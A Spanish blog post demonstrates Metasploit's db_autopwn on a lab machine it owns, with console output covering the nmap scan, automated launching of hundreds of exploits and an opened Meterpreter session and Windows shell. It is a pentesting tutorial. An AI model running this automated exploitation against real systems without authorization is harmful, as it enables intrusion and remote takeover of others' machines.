Pensándolo con frialdad hasta me he planteado la escritura de este post, me preocupa la ética de los posibles lectores... pero visto de otra forma ni estoy descubriendo nada nuevo ni quiero hacer apología del non full disclosure así que -muy por encima pero- allá vamos.
Framework
Cuando en otras ocasiones hablamos de un framework de desarrollo -web- nos referimos a una herramienta que facilita de algún modo la programación o el desarrollo de proyectos -web-.Hablando en términos de tests de intrusión -por ponerle algún nombre políticamente correcto-, Metasploit es un framework que facilita las comprobaciones que un Tiger Teamharía de forma manual.
Nota: Desconozco completamente las herramientas habituales de un Tiger Team como para afirmar que el coste en tiempo sea menor.
Autopwn
Lo que me ha sorprendido de todo ésto es su facilidad de uso. Supongo que muchos de vosotros recordaréis y habréis usado Nessus como escáner de vulnerabilidades. Nessus es una herramienta a la que le indicas un equipo (o una red completa), coteja los resultados del escaneo contra una base de datos de vulnerabilidades y devuelve un informe esencial para cualquier sysadmin.Pues autopwn es básicamente lo mismo, una herramienta interna de Metasploit a la que le indicas un host -o varios, o una red completa- y automágicamente escanea y detecta posibles vulnerabilidades. Pero va más allá, puesto que aplica todo tipo de exploits incluidos enMetasploit para comprobar su efecto.
Al acabar su trabajo y de encontrarnos ante un equipo vulnerable estaríamos consiguiendo una shell en el intérprete de comandos correspondiente.
Ejemplo práctico
Antes de nada hemos de crear una base de datos donde se guardarán todos los resultados, hosts, servicios... podemos usar el driver de mysql, sqlite3, postgresql... en este caso usaremos sqlite por su sencillez:msf > db_driver [*] Active Driver: sqlite3 [*] Available: sqlite3, mysql msf > db_create MiBase [*] Creating a new database instance... [*] Successfully connected to the database [*] File: MiBase msf >Al crear la base de datos ya se abre una conexión, de haber creado la base de datos con anterioridad nos conectaríamos a ella:
msf > db_connect MiBase [*] Successfully connected to the database [*] File: MiBase msf >Ahora hacemos un nmap del equipo que queremos testear, usamos la herramienta internadb_nmap para guardar todos los resultados en la base de datos que hemos creado anteriormente:
msf > db_nmap -n -sT -PN 192.168.2.2 [*] exec: "/usr/bin/nmap" "-n" "-sT" "-PN" "192.168.2.2" "-oX" NMAP: Interesting ports on 192.168.2.2: NMAP: Not shown: 993 closed ports NMAP: PORT STATE SERVICE NMAP: 135/tcp open msrpc NMAP: 139/tcp open netbios-ssn NMAP: 445/tcp open microsoft-ds NMAP: 1029/tcp open ms-lsa NMAP: 3050/tcp open unknown NMAP: 3389/tcp open ms-term-serv NMAP: 5900/tcp open vnc NMAP: NMAP: Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds msf >Una vez hemos fijado destino, lanzamos el autopwn y lo dejamos trabajar. A continuaciónMetasploit seleccionará todos los exploits disponibles para los servicios almacenados:
msf > db_autopwn -t -p -e [*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs) [...] [*] Building the stub data... [*] Calling the vulnerable function... [*] (1/831): Launching exploit/netware/smb/lsass_cifs against 192.168.2.2:139... [*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445... [*] (2/831): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445... [*] Matched auxiliary/dos/windows/smb/smb2_session_logoff against 192.168.2.2:445... [*] (3/831): Launching exploit/w [...] [...]Al acabar -o en cualquier momento- podremos ir viendo el resultado del autopwn y las shells que ha conseguido abrir:
msf > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.2.1:52898 -> 192.168.2.2:20315 msf >En este caso ha conseguido una shell en el equipo remoto, vamos a ver si no nos ha engañado:
msf > sessions -i 1 [*] Starting interaction with 1... meterpreter > pwd C:\WINDOWS\system32 meterpreter > shell Process 3932 created. Channel 1 created. Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> ipconfig ipconfig Configuración IP de Windows Adaptador Ethernet Conexión de área local : Sufijo de conexión específica DNS : Dirección IP. . . . . . . . . . . : 192.168.2.2 Máscara de subred . . . . . . . . : 255.255.255.0 Puerta de enlace predeterminada : 192.168.2.100 C:\WINDOWS\system32>Creo que poco más se puede decir, los resultados hablan por sí mismos. Tan solo queda rezar por el uso que se le pueda dar a esta metralleta. ¡Menudo peligro!.
Nota
Para adornarme un poco me veo en la obligación de decir que todos los resultados se han hecho contra máquinas propias, sin parchear, vulnerables e instaladas específicamente para estas pruebas por pura diversión y entretenimiento.}:)
Referencias
- http://www.nessus.org/nessus/
- http://www.pentester.es/2009/10/autopwn-la-artilleria-pesada-de.html
- http://www.offensive-security.com/metasploit-unleashed/
0 comentarios:
Publicar un comentario